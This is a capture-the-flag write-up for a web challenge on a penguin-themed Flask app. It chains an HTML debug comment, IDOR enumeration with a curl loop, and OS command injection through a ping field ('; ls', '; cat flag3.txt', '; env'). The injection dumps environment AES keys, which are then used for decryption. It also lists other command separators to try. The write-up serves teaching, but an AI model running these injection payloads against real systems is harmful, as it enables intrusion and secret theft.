Home > Writeups > Raptor Weekly 6 - 3lectric Igloo - Web

Raptor Weekly 6 - 3lectric Igloo - Web

Three flags across a penguin colony web app. Source recon, IDOR enumeration, OS command injection through a diagnostic ping utility, and AES-CBC decryption using keys leaked from the process environment.

3lectric Igloo

Week 6 of our weekly challenge series.

Challenge Description

Can you infiltrate the Igloo and melt it from the inside, or will you be frozen out?

URL: https://penguins.two-shoes.org/


Overview

3lectric Igloo is a three-flag web challenge that chains four distinct vulnerability classes together. The surface is a small Flask app with three pages: a home page, a profile viewer, and a diagnostic utility. Each page hides a different attack surface.

The progression looks like this:

HTML source comment -> IDOR on /profile -> command injection on /diagnostic -> env leak + AES decrypt

None of the steps require authentication bypasses or session manipulation. The flags fall in order from lowest to highest technical barrier.


Tooling

The first two flags can be found entirely in a browser with no scripts. Flags 3 requires the diagnostic input field, which accepts free text, so a browser is still sufficient for the actual exploitation. CyberChef handles the final decryption step.

Where the browser gets you: - Flag 1: View Source or the DevTools inspector on the home page - Flag 2: Manually entering profile IDs in the URL bar (could be faster with BurpSuite) - Flag 3: The diagnostic input field on /diagnostic

Tools used: - Browser DevTools (Inspector / View Source) - URL bar enumeration for IDOR - /diagnostic input field for command injection - CyberChef for AES-CBC decryption


Flag 1: The Hatchling

Goal: find the debug comment in the HTML

Opening the home page at https://penguins.two-shoes.org/ and viewing source (or opening DevTools and switching to the Inspector tab) reveals a comment that was left in the markup:

<!-- DEBUG: penguin{w3lc0m3_t0_th3_1c3_sh3lf} -->

This is a classic developer artifact. Debug comments like this show up constantly in real-world applications and are worth checking on every page of a target before doing anything else. Developers add them during testing and forget to strip them before deploying.

Flag 1: penguin{w3lc0m3_t0_th3_1c3_sh3lf}


Flag 2: Give a Penguin a Fish...

Goal: enumerate profile IDs to find a VIP account

The profile page auto-redirects to a URL with an id parameter:

https://penguins.two-shoes.org/profile?id=10

This is a textbook IDOR setup. The server is returning profile data keyed directly on a user-controlled integer with no authorization check. Changing the id in the URL cycles through different penguin profiles. Most return either a generic profile or a "penguin not found in colony" message.

Manually stepping through IDs 1 to 27 takes about two minutes. At id=27 the response changes:

Penguin Profile: 3lectricPenguin

Role: VIP / Founder

Fish Allowance: Infinite
ACCESS GRANTED: penguin{If_y0u_734ch_4_p3nguin_70_fish}

The flag is embedded directly in the profile body and only appears for this specific ID. Every other profile in the range either has no flag field or returns not-found. The range here is small enough to enumerate by hand, but for larger ranges a curl loop covers it faster:

for i in $(seq 1 50); do
  r=$(curl -s "https://penguins.two-shoes.org/profile?id=$i")
  echo "$i: $r"
done | grep -i "ACCESS GRANTED"

Flag 2: penguin{If_y0u_734ch_4_p3nguin_70_fish}


Flag 3: The Deep Freeze

The /diagnostic page presents a text input and an "Exec" button. The label implies it runs a connectivity check. Submitting a hostname like google.com returns real ping output:

PING google.com (142.250.80.46): 56 data bytes
64 bytes from 142.250.80.46: icmp_seq=0 ttl=115 time=14.3 ms

The backend is passing user input directly to a shell command, something like ping -c 1 <input>. When input is passed to a shell without sanitization, command separators let us break out of the intended command and inject arbitrary ones. The semicolon terminates the ping and lets us start a new command on the same line.

Submitting ; ls in the input field returns:

ping: usage error: Destination address required
Dockerfile
__pycache__
app.py
docker-compose.yml
flag3.txt
penguins.enc
penguins.json
requirements.txt
templates

The ping errors because we stripped the destination address, but the injected ls runs fine. The working directory is the app root. flag3.txt is right there.

; cat flag3.txt
ping: usage error: Destination address required
# IGLOO-ENCRYPTED-V2
# The polar winds have frozen the flag. You need the AES key and IV to thaw it.
65e9792ae043e382b447c83d0d4e1484c4adf658a7cd1e780cd6ca8dbee131d04b7e12d67c300d43cc1a70bd750281d1

The file contains a hex-encoded ciphertext and a header indicating it was encrypted with AES. The key and IV are not in the file. The next step is finding them.

Environment variables are the first place to look. Running env through the injection:

; env
ping: usage error: Destination address required
HOSTNAME=8ad790123494
HOME=/root
GPG_KEY=E3FF2839C048B25C084DEBE9B26995E310250568
PYTHON_SHA256=00e07d7c0f2f0cc002432d1ee84d2a40dae404a99303e3f97701c10966c91834
ARCH_KEY=8fec652de55d6892953e066cf3e1a67a
SERVER_SOFTWARE=gunicorn/23.0.0
ARCH_IV=c8e33abae451c3ddecf8f1bd7773fca8
PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
LANG=C.UTF-8
PYTHON_VERSION=3.9.25
DB_KEY=30c051bc0b42d4cfd151ffd09452be0b
DB_IV=123bb390357495db726a0e293e4bb9fa
PWD=/app

Two keypairs are present: ARCH_KEY / ARCH_IV and DB_KEY / DB_IV. The naming convention matches the encrypted file: flag3.txt contains a header labeled IGLOO-ENCRYPTED-V2 and the file penguins.enc is still on disk. The ARCH pair likely corresponds to the architecture-level flag file, and DB likely covers the penguin database.

Using CyberChef to decrypt flag3.txt with ARCH_KEY and ARCH_IV:

  • Recipe: AES Decrypt
  • Key: 8fec652de55d6892953e066cf3e1a67a (Hex)
  • IV: c8e33abae451c3ddecf8f1bd7773fca8 (Hex)
  • Mode: CBC
  • Input: Hex
  • Output: Raw

Direct CyberChef link:

https://cyberchef.org/#recipe=AES_Decrypt(%7B'option':'Hex','string':'8fec652de55d6892953e066cf3e1a67a'%7D,%7B'option':'Hex','string':'c8e33abae451c3ddecf8f1bd7773fca8'%7D,'CBC','Hex','Raw',%7B'option':'Hex','string':''%7D,%7B'option':'Hex','string':''%7D)&input=NjVlOTc5MmFlMDQzZTM4MmI0NDdjODNkMGQ0ZTE0ODRjNGFkZjY1OGE3Y2QxZTc4MGNkNmNhOGRiZWUxMzFkMDRiN2UxMmQ2N2MzMDBkNDNjYzFhNzBiZDc1MDI4MWQx

Output:

penguin{AES_1s_n1c3_bu7_d0nt_l3ak_th3_k3y}

Flag 3: penguin{AES_1s_n1c3_bu7_d0nt_l3ak_th3_k3y}


Flags

penguin{w3lc0m3_t0_th3_1c3_sh3lf}
penguin{If_y0u_734ch_4_p3nguin_70_fish}
penguin{AES_1s_n1c3_bu7_d0nt_l3ak_th3_k3y}

Attack Chain Summary

Flag Page Vulnerability Technique
1 / Debug artifact in HTML View Source / DevTools
2 /profile IDOR on ?id= parameter Manual ID enumeration
3 /diagnostic OS command injection Semicolon separator + cat
3.5 /diagnostic Secrets in process environment ; env + AES-CBC decrypt

Key Observations

Check source on every page before doing anything else. Flag 1 required zero exploitation. The habit of reading page source at the start of any recon pays off here immediately and is worth building into a default workflow.

IDOR ranges are often small and guessable. The profile IDs ran maybe from 1 to somewhere in the low hundreds. The VIP account sat at ID 27. Knowing the app assigns sequential integer IDs is enough to warrant a sweep. When the range is small, manual enumeration is fast. When it is larger, a curl loop with grep handles it in seconds.

Command injection through diagnostic and admin utilities is extremely common. Ping, traceroute, nslookup, and similar tools get wrapped in web UIs constantly, and the input sanitization is often an afterthought or missing entirely. A semicolon is the most basic test. Other separators worth trying if semicolon fails: &&, ||, backtick substitution, and newline (%0a URL-encoded).

Secrets in environment variables are a real finding. Storing credentials and keys in environment variables is common Docker and cloud deployment practice, following the twelve-factor app pattern. The assumption is that env is not reachable from outside the container. When command injection is present, that assumption collapses. AES keys, database credentials, API tokens, and internal service URLs are all fair game once ; env returns output.

Two keypairs in env, two encrypted assets. ARCH_KEY/ARCH_IV decrypted flag3.txt. DB_KEY/DB_IV and penguins.enc are still on the shelf for anyone who wants to keep digging.

< Back to All Writeups